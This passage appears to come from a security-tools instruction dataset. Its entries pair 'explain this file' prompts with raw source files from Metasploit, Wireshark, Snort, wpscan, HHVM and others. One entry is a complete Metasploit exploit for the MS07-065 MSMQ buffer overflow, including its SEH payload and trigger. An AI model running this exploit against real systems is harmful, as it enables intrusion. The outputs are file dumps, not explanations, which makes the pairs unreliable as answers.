"--inputs=__DIR__/test_base.inc\n--inputs=__DIR__/../../util/server_tests.inc\n--inputs=__DIR__/../../fastcgi/Adoy/Client.php", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:18095"}} -{"instruction": "Explain the purpose and role of 'h4cker/linux-hardening/BIOS-best-practices.md' from the h4cker security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# BIOS and Security Settings\n\nBIOS, or Basic Input/Output System, is an essential part of a computer's operation, as it initiates the boot process and provides communication between the operating system and the hardware. As such, the security of the BIOS is critical to the overall security of the system. The following are some best practices for BIOS security:\n\n| Best Practice | Description |\n|---------------|-------------|\n| Set a Strong BIOS Password | Prevents unauthorized users from accessing and changing BIOS settings. |\n| Enable Secure Boot | Only allows software with recognized signatures to boot, protecting against malicious code. |\n| Disable Unnecessary Hardware | Reduces the attack surface by turning off unused hardware components, if supported by the BIOS. |\n| Regularly Update BIOS Firmware | Fixes potential security vulnerabilities. Make sure to download updates directly from the manufacturer's website. |\n| Enable BIOS/UEFI Firmware Intrusion Detection | Provides notification if BIOS settings have been changed, allowing detection of unauthorized modifications. |\n| Use Full Disk Encryption (FDE) | Protects data on the hard drive by requiring a password to decrypt it. |\n| Enable TPM (Trusted Platform Module) | A specialized chip that stores RSA encryption keys specific to the host system for hardware authentication. |\n| Limit Physical Access | Prevents unauthorized BIOS access by securing physical systems in locked rooms or cases and using security cables. |", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:1505"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/ipanorama-360-virtual-tour-builder-lite/change_log/changelog.txt' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "*** iPanorama 360 WordPress Plugin Changelog ***\n\n= 1.3.9 =\n * Fix: Black screen issue in Chrome with zooming\n * Fix: Fullscreen toggle \n \n= 1.3.8 =\n * Fix: Compatible with Smart Product Viewer\n * Fix: Exit full screen mode in IE\n\n= 1.3.7 =\n * Feature: Save or not the camera lookat vector if you move between scenes \n * Feature: Top and bottom pitch limits for each scene \n * Feature: Left and right yaw limits for each scene \n * Fix: scene images background load \n * Fix: fullscreen on iOS \n\n= 1.3.6 =\n * Fix: Bug with a short touch on a link hotspot\n * Fix: Bug with a sceneId parameter in frontend\n * Improvement: Ready for translation\n\n= 1.3.5 =\n * Fix: Bug with multiple instances on one page\n\n= 1.3.4 =\n * Fix: Works better with touch events\n * Fix: Sometimes lost webgl context in FF\n * Fix: Bug with fullscreen on IE11 \n\n= 1.3.3 =\n * Feature: Global settings\n * Feature: Zoom by pinch gestures\n * Feature: The cube scene type can have one single texture or six separated\n * Fix: Bug with fullscreen on iOS (leave only standard fullscreen API)\n\n= 1.3.2 =\n * Feature: Top and bottom pitch limits\n * Feature: Specifying a custom onload callback javascript code\n * Feature: Enable/disable the prevention for default behavior on the mouseWheel event\n * Fix: Bug with loading a saved config\n * Fix: Bug with appearing hotspot images in the upper left corner\n\n= 1.3.1 =\n * Fix: Bug with distortion\n \n= 1.3.0 =\n * Fix: Bug with char encoding, problems with item update\n * Feature: Image url can be local relative to the upload folder or full\n * Feature: Easy hotspot customization\n * Improvement: Updated the builder interface\n\n= 1.2.1 =\n * Feature: Add loading progress bar for the builder\n * Fix: Support multiple angular.js versions on the same page\n * Fix: Warning about array_map() after the item has been updated\n\n= 1.2.0 =\n * Feature: New dark theme\n * Feature: Thumbnails (vertical, horizontal)\n * Feature: Thumbnails toggle control\n * Feature: Next & Prev scene controls\n * Feature: Show a popover when the scene's loaded\n * Feature: Save & load a config from file\n * Feature: Default width and height settings\n * Improvement: Updated the jQuery plugin\n \n= 1.1.0 =\n * Improvement: Updated the jQuery plugin\n \n= 1.0.0 =\n * Initial release", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:60362"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/modules/exploits/windows/dcerpc/ms07_065_msmq.rb' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::DCERPC\n include Msf::Exploit::Remote::Seh\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in the RPC interface\n to the Microsoft Message Queueing service. This exploit requires\n the target system to have been configured with a DNS name and\n for that name to be supplied in the 'DNAME' option. This name does\n not need to be served by a valid DNS server, only configured on\n the target machine.\n\n },\n 'Author' => [ 'hdm' ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2007-3039'],\n [ 'OSVDB', '39123'],\n [ 'MSB', 'MS07-065'],\n ],\n 'Privileged' => true,\n 'Payload' =>\n {\n 'Space' => 1024,\n 'BadChars' => \"\\x00\\x0a\\x0d\\x5c\\x5f\\x2f\\x2e\\xff\",\n 'StackAdjustment' => -3500,\n\n },\n 'Platform' => %w{ win },\n 'Targets' =>\n [\n [\n 'Windows 2000 Server English',\n {\n 'Platform' => 'win',\n 'Ret' => 0x75022ac4 # ws2help - pop/pop/ret\n },\n ],\n ],\n 'DisclosureDate' => '2007-12-11',\n 'DefaultTarget' => 0))\n\n # Change the default port values to point at MSMQ\n register_options(\n [\n Opt::RPORT(2103),\n OptString.new('DNAME', [ true, \"The DNS hostname of the target\" ]),\n ])\n end\n\n def autofilter\n # Common vulnerability scanning tools report port 445/139\n # due to how they test for the vulnerability. Remap this\n # back to 2103 for automated exploitation\n\n rport = datastore['RPORT'].to_i\n if ( rport == 445 or rport == 139 )\n datastore['RPORT'] = 2103\n end\n\n # The fqdn is required to exploit this bug\n if (not datastore['DNAME'])\n # XXX automatically determine the hostname\n return false\n end\n\n true\n end\n\n def exploit\n\n connect\n print_status(\"Trying target #{target.name}...\")\n\n handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])\n print_status(\"Binding to #{handle} ...\")\n dcerpc_bind(handle)\n print_status(\"Bound to #{handle} ...\")\n\n dname = datastore['DNAME']\n\n boom = rand_text_alphanumeric(4096)\n\n hname,domain = dname.split(\".\")\n\n if(not domain)\n print_status(\"The DNAME parameter specified is not valid.\")\n print_status(\"This option must be the fully-qualified domain name of the target (as it has been configured).\")\n return\n end\n\n off = 310 - (hname.length * 2)\n\n seh = generate_seh_payload(target.ret)\n boom[off, seh.length] = seh\n\n buff = Rex::Text.to_unicode(\"#{dname}\\\\\")\n buff << boom\n buff << \"\\x00\\x00\"\n\n # Data alignment\n while(buff.length % 4 != 0)\n buff << \"\\x00\"\n end\n\n stubdata =\n NDR.long(1) + # [in] long arg_1,\n NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,\n NDR.long(0) * 5 # ... fields we can ignore\n\n print_status('Sending exploit...')\n\n begin\n response = dcerpc.call(6, stubdata)\n\n if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)\n case dcerpc.last_response.stub_data\n when \"\\x14\\x00\\x0e\\xc0\"\n print_error(\"Error: The wrong value has been supplied for the DNAME parameter\")\n print_error(\"This value must be the fully-qualified domain name of the target\")\n print_error(\"Many systems have no FQDN configured and cannot be exploited\")\n else\n print_status(\"An unknown response was received from the server:\")\n print_status(\">> \" + dcerpc.last_response.stub_data.unpack(\"H*\")[0])\n end\n end\n rescue Rex::Proto::DCERPC::Exceptions::NoResponse\n print_status(\"No response from the DCERPC service (this is usually a good thing).\")\n end\n\n handler\n disconnect\n end\nend", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:44286"}} -{"instruction": "Explain the purpose and role of 'metasploit-framework/external/source/vncdll/winvnc/zlib/Make_vms.com' from the metasploit-framework security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "$! make libz under VMS\n$! written by Martin P.J. Zinser \n$!\n$! Look for the compiler used\n$!\n$ ccopt = \"\"\n$ if f$getsyi(\"HW_MODEL\").ge.1024\n$ then\n$ ccopt = \"/prefix=all\"+ccopt\n$ comp = \"__decc__=1\"\n$ if f$trnlnm(\"SYS\").eqs.\"\" then define sys sys$library:\n$ else\n$ if f$search(\"SYS$SYSTEM:DECC$COMPILER.EXE\").eqs.\"\"\n$ then\n$ comp = \"__vaxc__=1\"\n$ if f$trnlnm(\"SYS\").eqs.\"\" then define sys sys$library:\n$ else\n$ if f$trnlnm(\"SYS\").eqs.\"\" then define sys decc$library_include:\n$ ccopt = \"/decc/prefix=all\"+ccopt\n$ comp = \"__decc__=1\"\n$ endif\n$ endif\n$!\n$! Build the thing plain or with mms\n$!\n$ write sys$output \"Compiling Zlib sources ...\"\n$ if f$search(\"SYS$SYSTEM:MMS.EXE\").eqs.\"\"\n$ then\n$ dele example.obj;*,minigzip.obj;*\n$ CALL MAKE adler32.OBJ \"CC ''CCOPT' adler32\" -\n adler32.c zlib.h zconf.h\n$ CALL MAKE compress.OBJ \"CC ''CCOPT' compress\" -\n compress.c zlib.h zconf.h\n$ CALL MAKE crc32.OBJ \"CC ''CCOPT' crc32\" -\n crc32.c zlib.h zconf.h\n$ CALL MAKE deflate.OBJ \"CC ''CCOPT' deflate\" -\n deflate.c deflate.h zutil.h zlib.h zconf.h\n$ CALL MAKE gzio.OBJ \"CC ''CCOPT' gzio\" -\n gzio.c zutil.h zlib.h zconf.h\n$ CALL MAKE infblock.OBJ \"CC ''CCOPT' infblock\" -\n infblock.c zutil.h zlib.h zconf.h infblock.h\n$ CALL MAKE infcodes.OBJ \"CC ''CCOPT' infcodes\" -\n infcodes.c zutil.h zlib.h zconf.h inftrees.h\n$ CALL MAKE inffast.OBJ \"CC ''CCOPT' inffast\" -\n inffast.c zutil.h zlib.h zconf.h inffast.h\n$ CALL MAKE inflate.OBJ \"CC ''CCOPT' inflate\" -\n inflate.c zutil.h zlib.h zconf.h infblock.h\n$ CALL MAKE inftrees.OBJ \"CC ''CCOPT' inftrees\" -\n inftrees.c zutil.h zlib.h zconf.h inftrees.h\n$ CALL MAKE infutil.OBJ \"CC ''CCOPT' infutil\" -\n infutil.c zutil.h zlib.h zconf.h inftrees.h infutil.h\n$ CALL MAKE trees.OBJ \"CC ''CCOPT' trees\" -\n trees.c deflate.h zutil.h zlib.h zconf.h\n$ CALL MAKE uncompr.OBJ \"CC ''CCOPT' uncompr\" -\n uncompr.c zlib.h zconf.h\n$ CALL MAKE zutil.OBJ \"CC ''CCOPT' zutil\" -\n zutil.c zutil.h zlib.h zconf.h\n$ write sys$output \"Building Zlib ...\"\n$ CALL MAKE libz.OLB \"lib/crea libz.olb *.obj\" *.OBJ\n$ write sys$output \"Building example...\"\n$ CALL MAKE example.OBJ \"CC ''CCOPT' example\" -\n example.c zlib.h zconf.h\n$ call make example.exe \"LINK example,libz.olb/lib\" example.obj libz.olb\n$ write sys$output \"Building minigzip...\"\n$ CALL MAKE minigzip.OBJ \"CC ''CCOPT' minigzip\" -\n minigzip.c zlib.h zconf.h\n$ call make minigzip.exe - \n \"LINK minigzip,libz.olb/lib,x11vms:xvmsutils.olb/lib\" - \n minigzip.obj libz.olb\n$ else\n$ mms/macro=('comp')\n$ endif\n$ write sys$output \"Zlib build completed\"\n$ exit\n$!\n$!\n$MAKE: SUBROUTINE !SUBROUTINE TO CHECK DEPENDENCIES\n$ V = 'F$Verify(0)\n$! P1 = What we are trying to make\n$! P2 = Command to make it\n$! P3 - P8 What it depends on\n$\n$ If F$Search(P1) .Eqs. \"\" Then Goto Makeit\n$ Time = F$CvTime(F$File(P1,\"RDT\"))\n$arg=3\n$Loop:\n$ Argument = P'arg\n$ If Argument .Eqs. \"\" Then Goto Exit\n$ El=0\n$Loop2:\n$ File = F$Element(El,\" \",Argument)\n$ If File .Eqs. \" \" Then Goto Endl\n$ AFile = \"\"\n$Loop3:\n$ OFile = AFile\n$ AFile = F$Search(File)\n$ If AFile .Eqs. \"\" .Or. AFile .Eqs. OFile Then Goto NextEl\n$ If F$CvTime(F$File(AFile,\"RDT\")) .Ges. Time Then Goto Makeit\n$ Goto Loop3\n$NextEL:\n$ El = El + 1\n$ Goto Loop2\n$EndL:\n$ arg=arg+1\n$ If arg .Le. 8 Then Goto Loop\n$ Goto Exit\n$\n$Makeit:\n$ VV=F$VERIFY(0)\n$ write sys$output P2\n$ 'P2\n$ VV='F$Verify(VV)\n$Exit:\n$ If V Then Set Verify\n$ENDSUBROUTINE", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:39618"}} -{"instruction": "Explain the purpose and role of 'wireshark/wiretap/csids.h' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/** @file\n *\n * Copyright (c) 2000 by Mike Hall \n * Copyright (c) Cisco Systems\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n *\n */\n\n#ifndef __CSIDS_H__\n#define __CSIDS_H__\n#include \n#include \"wtap.h\"\n#include \"ws_symbol_export.h\"\n\nwtap_open_return_val csids_open(wtap *wth, int *err, gchar **err_info);\n\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:58813"}} -{"instruction": "Explain the purpose and role of 'snort3/src/network_inspectors/appid/service_plugins/service_tftp.h' from the snort3 security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "//--------------------------------------------------------------------------\n// Copyright (C) 2014-2023 Cisco and/or its affiliates. All rights reserved.\n// Copyright (C) 2005-2013 Sourcefire, Inc.\n//\n// This program is free software; you can redistribute it and/or modify it\n// under the terms of the GNU General Public License Version 2 as published\n// by the Free Software Foundation. You may not use, modify or distribute\n// this program under any other version of the GNU General Public License.\n//\n// This program is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License along\n// with this program; if not, write to the Free Software Foundation, Inc.,\n// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n//--------------------------------------------------------------------------\n\n// service_tftp.h author Sourcefire Inc.\n\n#ifndef SERVICE_TFTP_H\n#define SERVICE_TFTP_H\n\n#include \"service_detector.h\"\n\nclass ServiceDiscovery;\n\nclass TftpServiceDetector : public ServiceDetector\n{\npublic:\n TftpServiceDetector(ServiceDiscovery*);\n\n int validate(AppIdDiscoveryArgs&) override;\n};\n#endif", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:51208"}} -{"instruction": "Explain the purpose and role of 'wireshark/ui/qt/extcap_argument_file.cpp' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/* extcap_argument_file.cpp\n *\n * Wireshark - Network traffic analyzer\n * By Gerald Combs \n * Copyright 1998 Gerald Combs\n *\n * SPDX-License-Identifier: GPL-2.0-or-later\n */\n\n#include \n#include \n\n#include \n\n#include \"ui/qt/widgets/wireshark_file_dialog.h\"\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n\n#include \n\n#include \n\nExtcapArgumentFileSelection::ExtcapArgumentFileSelection (extcap_arg * argument, QObject *parent) :\n ExtcapArgument(argument, parent), textBox(0)\n{\n}\n\nExtcapArgumentFileSelection::~ExtcapArgumentFileSelection()\n{\n if (textBox != NULL)\n delete textBox;\n}\n\nQWidget * ExtcapArgumentFileSelection::createEditor(QWidget * parent)\n{\n QString text = defaultValue();\n QString buttonText(UTF8_HORIZONTAL_ELLIPSIS);\n QString buttonClearText(tr(\"Clear\"));\n\n QWidget * fileWidget = new QWidget(parent);\n QHBoxLayout * editLayout = new QHBoxLayout();\n QMargins margins = editLayout->contentsMargins();\n editLayout->setContentsMargins(0, 0, 0, margins.bottom());\n fileWidget->setContentsMargins(margins.left(), margins.right(), 0, margins.bottom());\n QPushButton * buttonSelect = new QPushButton(buttonText, fileWidget);\n QPushButton * buttonClear = new QPushButton(buttonClearText, fileWidget);\n\n textBox = new QLineEdit(text, parent);\n textBox->setReadOnly(true);\n\n /* Value is empty if no file is selected */\n const char *prefval = (_argument->pref_valptr && (*_argument->pref_valptr)) ? *_argument->pref_valptr : NULL;\n if (prefval)\n {\n QString storeValue(prefval);\n\n if (storeValue.length() > 0 && storeValue.compare(text) != 0)\n text = storeValue.trimmed();\n }\n textBox->setText(text);\n\n if (_argument->tooltip != NULL)\n {\n textBox->setToolTip(QString().fromUtf8(_argument->tooltip));\n buttonSelect->setToolTip(QString().fromUtf8(_argument->tooltip));\n }\n\n connect(buttonSelect, &QPushButton::clicked, this, &ExtcapArgumentFileSelection::openFileDialog);\n connect(buttonClear, &QPushButton::clicked, this, &ExtcapArgumentFileSelection::clearFilename);\n\n editLayout->addWidget(textBox);\n editLayout->addWidget(buttonSelect);\n editLayout->addWidget(buttonClear);\n\n fileWidget->setLayout(editLayout);\n\n return fileWidget;\n}\n\nQString ExtcapArgumentFileSelection::value()\n{\n if (textBox == 0)\n return QString();\n return textBox->text();\n}\n\n/* opens the file dialog */\nvoid ExtcapArgumentFileSelection::openFileDialog()\n{\n QString filename = textBox->text();\n\n QDir workingDir = QDir::currentPath();\n if (QFileInfo(filename).exists())\n workingDir = QFileInfo(filename).dir();\n\n QString fileExt(tr(\"All Files (\" ALL_FILES_WILDCARD \")\"));\n if (_argument->fileextension != NULL)\n {\n QString givenExt = QString().fromUtf8(_argument->fileextension);\n if (givenExt.length() != 0)\n fileExt.prepend(\";;\").prepend(givenExt);\n }\n\n if (fileExists())\n {\n /* UI should check that the file exists */\n filename = WiresharkFileDialog::getOpenFileName((QWidget*)(textBox->parent()),\n QString().fromUtf8(_argument->display) + \" \" + tr(\"Open File\"),\n workingDir.absolutePath(), fileExt);\n }\n else\n {\n /* File might or might not exist. Actual overwrite handling is extcap specific\n * (e.g. boolflag argument if user wants to always overwrite the file)\n */\n filename = WiresharkFileDialog::getSaveFileName((QWidget*)(textBox->parent()),\n QString().fromUtf8(_argument->display) + \" \" + tr(\"Select File\"),\n workingDir.absolutePath(), fileExt, nullptr, QFileDialog::Option::DontConfirmOverwrite);\n }\n\n if (! filename.isEmpty() && (! fileExists() || QFileInfo(filename).exists()))\n {\n textBox->setText(filename);\n emit valueChanged();\n }\n}\n\nvoid ExtcapArgumentFileSelection::clearFilename()\n{\n textBox->clear();\n emit valueChanged();\n}\n\nbool ExtcapArgumentFileSelection::isValid()\n{\n bool valid = false;\n\n if (textBox->text().length() > 0)\n {\n if (_argument->fileexists)\n valid = QFileInfo(textBox->text()).exists();\n else\n valid = true;\n }\n else if (! isRequired())\n valid = true;\n\n QString lblInvalidColor = ColorUtils::fromColorT(prefs.gui_text_invalid).name();\n QString txtStyle(\"QLineEdit { background-color: %1; } \");\n textBox->setStyleSheet(txtStyle.arg(valid ? QString(\"\") : lblInvalidColor));\n\n return valid;\n}\n\nvoid ExtcapArgumentFileSelection::setDefaultValue()\n{\n clearFilename();\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:58302"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/utils/test/Cargo.toml' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# @generated by autocargo\n\n[package]\nname = \"line_break_map_tests\"\nversion = \"0.0.0\"\nedition = \"2021\"\n\n[lib]\npath = \"line_break_map_tests.rs\"\ntest = false\ndoctest = false\n\n[dependencies]\nline_break_map = { version = \"0.0.0\", path = \"../line_break_map\" }\nocamlrep_ocamlpool = { version = \"0.1.0\", git = \"https://github.com/facebook/ocamlrep/\", branch = \"main\" }", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:5940"}} -{"instruction": "Explain the purpose and role of 'wireshark/plugins/codecs/G729/CMakeLists.txt' from the wireshark security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "# CMakeLists.txt\n#\n# Wireshark - Network traffic analyzer\n# By Gerald Combs \n# Copyright 1998 Gerald Combs\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n\ninclude(WiresharkPlugin)\n\n# Plugin name and version info (major minor micro extra)\nset_module_info(g729 0 1 0 0)\n\nset(CODEC_SRC\n\tG729decode.c\n)\n\nset(PLUGIN_FILES\n\tplugin.c\n\t${CODEC_SRC}\n)\n\nset_source_files_properties(\n\t${PLUGIN_FILES}\n\tPROPERTIES\n\tCOMPILE_FLAGS \"${WERROR_COMMON_FLAGS}\"\n)\n\nregister_plugin_files(plugin.c\n\tplugin_codec\n\t${CODEC_SRC}\n)\n\nadd_wireshark_plugin_library(g729 codecs)\n\ntarget_include_directories(g729 PRIVATE ${CMAKE_SOURCE_DIR}/codecs)\n\ntarget_link_libraries(g729 wsutil ${BCG729_LIBRARIES})\n\ntarget_include_directories(g729 SYSTEM PRIVATE ${BCG729_INCLUDE_DIRS})\n\ninstall_plugin(g729 codecs)\n\nfile(GLOB CODEC_HEADERS RELATIVE \"${CMAKE_CURRENT_SOURCE_DIR}\" \"*.h\")\nCHECKAPI(\n\tNAME\n\t g729\n\tSWITCHES\n\tSOURCES\n\t ${CODEC_SRC}\n\t ${CODEC_HEADERS}\n)\n\n#\n# Editor modelines - https://www.wireshark.org/tools/modelines.html\n#\n# Local variables:\n# c-basic-offset: 8\n# tab-width: 8\n# indent-tabs-mode: t\n# End:\n#\n# vi: set shiftwidth=8 tabstop=8 noexpandtab:\n# :indentSize=8:tabSize=8:noTabs=false:\n#", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:57276"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/runtime/ext/scrypt/crypto/params.h' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "#ifndef SCRYPT_PARAMS_H\n#define SCRYPT_PARAMS_H\n/*-\n * Copyright 2009 Colin Percival\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n * This file was originally written by Colin Percival as part of the Tarsnap\n * online backup system.\n */\n\n#include \n\n/**\n * The parameters maxmem, maxmemfrac, and maxtime used by all of these\n * functions are defined as follows:\n * maxmem - maximum number of bytes of storage to use for V array (which is\n * by far the largest consumer of memory). If this value is set to 0, no\n * maximum will be enforced; any other value less than 1 MiB will be\n * treated as 1 MiB.\n * maxmemfrac - maximum fraction of available storage to use for the V array,\n * where \"available storage\" is defined as the minimum out of the\n * RLIMIT_AS, RLIMIT_DATA. and RLIMIT_RSS resource limits (if any are\n * set). If this value is set to 0 or more than 0.5 it will be treated\n * as 0.5; and this value will never cause a limit of less than 1 MiB to\n * be enforced.\n * maxtime - maximum amount of CPU time to spend computing the derived keys,\n * in seconds. This limit is only approximately enforced; the CPU\n * performance is estimated and parameter limits are chosen accordingly.\n * For the encryption functions, the parameters to the scrypt key derivation\n * function are chosen to make the key as strong as possible subject to the\n * specified limits; for the decryption functions, the parameters used are\n * compared to the computed limits and an error is returned if decrypting\n * the data would take too much memory or CPU time.\n */\n\nint pickparams(size_t maxmem, double maxmemfrac, double maxtime, int * logN,\n uint32_t * r, uint32_t * p);\nint checkparams(size_t maxmem, double maxmemfrac, double maxtime, int logN,\n uint32_t r, uint32_t p);\n\n#endif /* !SCRYPT_PARAMS_H */", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:16124"}} -{"instruction": "Explain the purpose and role of 'pwndbg-dev/docs/source/api/gitver.rst' from the pwndbg-dev security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ":mod:`pwndbg.gitver` --- pwndbg.gitver\n=============================================\n\n.. automodule:: pwndbg.gitver\n :members:", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:49857"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/src/hh_oxidize/state.mli' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "(*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the \"hack\" directory of this source tree.\n *\n *)\n\n(** The name of the module currently being converted. *)\nval curr_module_name : unit -> string\n\n(** Run the given function in a context where {!curr_module_name} will return\n the given module name. Not re-entrant. *)\nval with_module_name : string -> (unit -> 'a) -> 'a\n\n(** The name of the type currently being converted. *)\nval self : unit -> string\n\n(** Run the given function in a context where {!self} will return the given type\n name. Not re-entrant. *)\nval with_self : string -> (unit -> 'a) -> 'a", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:4003"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/runtime/vm/jit/string-tag.cpp' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "/*\n +----------------------------------------------------------------------+\n | HipHop for PHP |\n +----------------------------------------------------------------------+\n | Copyright (c) 2010-present Facebook, Inc. (http://www.facebook.com) |\n +----------------------------------------------------------------------+\n | This source file is subject to version 3.01 of the PHP license, |\n | that is bundled with this package in the file LICENSE, and is |\n | available through the world-wide-web at the following url: |\n | http://www.php.net/license/3_01.txt |\n | If you did not receive a copy of the PHP license and are unable to |\n | obtain it through the world-wide-web, please send a note to |\n | license@php.net so we can mail you a copy immediately. |\n +----------------------------------------------------------------------+\n*/\n\n#include \"hphp/runtime/vm/jit/string-tag.h\"\n\n#include \n\n#include \"hphp/util/assertions.h\"\n#include \"hphp/util/safe-cast.h\"\n#include \"hphp/runtime/vm/jit/containers.h\"\n\n#include \n#include \n\nnamespace HPHP::jit {\n\n///////////////////////////////////////////////////////////////////////////////\n\nusing folly::SharedMutex;\n\nnamespace {\n\nSharedMutex s_mutex;\n\njit::fast_map s_string_to_tag;\nstd::vector s_tag_to_string;\n\n}\n\nStringTag tag_from_string(const char* str) {\n { // Return the tag if we've already cached this string.\n SharedMutex::ReadHolder l(s_mutex);\n auto const it = s_string_to_tag.find(str);\n if (it != s_string_to_tag.end()) return it->second;\n }\n { // Check again with the write lock held.\n SharedMutex::WriteHolder l(s_mutex);\n auto const it = s_string_to_tag.find(str);\n if (it != s_string_to_tag.end()) return it->second;\n\n s_tag_to_string.push_back(str);\n\n // The tag is the one-indexed index into the vector.\n auto const tag = safe_cast(s_tag_to_string.size());\n s_string_to_tag[str] = tag;\n\n return tag;\n }\n}\n\nconst char* string_from_tag(StringTag tag) {\n if (tag == 0) return nullptr;\n\n SharedMutex::ReadHolder l(s_mutex);\n assertx(tag <= s_tag_to_string.size());\n return s_tag_to_string[tag - 1];\n}\n\n///////////////////////////////////////////////////////////////////////////////\n\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:16946"}} -{"instruction": "Explain the purpose and role of 'hhvm/hphp/hack/test/typecheck/expression_trees/blocks.php' from the hhvm security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": ">\n\nfunction test(): void {\n ExampleDsl`{}`;\n\n $code = ExampleDsl`{\n 2 < 3;\n return 5;\n }`;\n\n ExampleDsl`{\n if(${$code} + 1 < 10) {\n return 'Yes';\n } else {\n return 'No';\n }\n }`;\n}", "meta": {"source_dataset": "w8ay/security-tools-datasets", "kind": "original", "source_id": "w8ay/security-tools-datasets:12289"}} -{"instruction": "Explain the purpose and role of 'wpscan/spec/fixtures/dynamic_finders/plugin_version/events-manager-add-on-multisite-mail-settings/translation_file/languages/stonehenge-ms-mailer-nl_NL.po' from the wpscan security tool. Focus on where this module fits into offensive or defensive security workflows.", "input": "", "output": "msgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: Events Manager %u2013 MultiSite Email Settings (Add-on) v3.0\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: \\n\"\n\"PO-Revision-Date: 2018-02-13 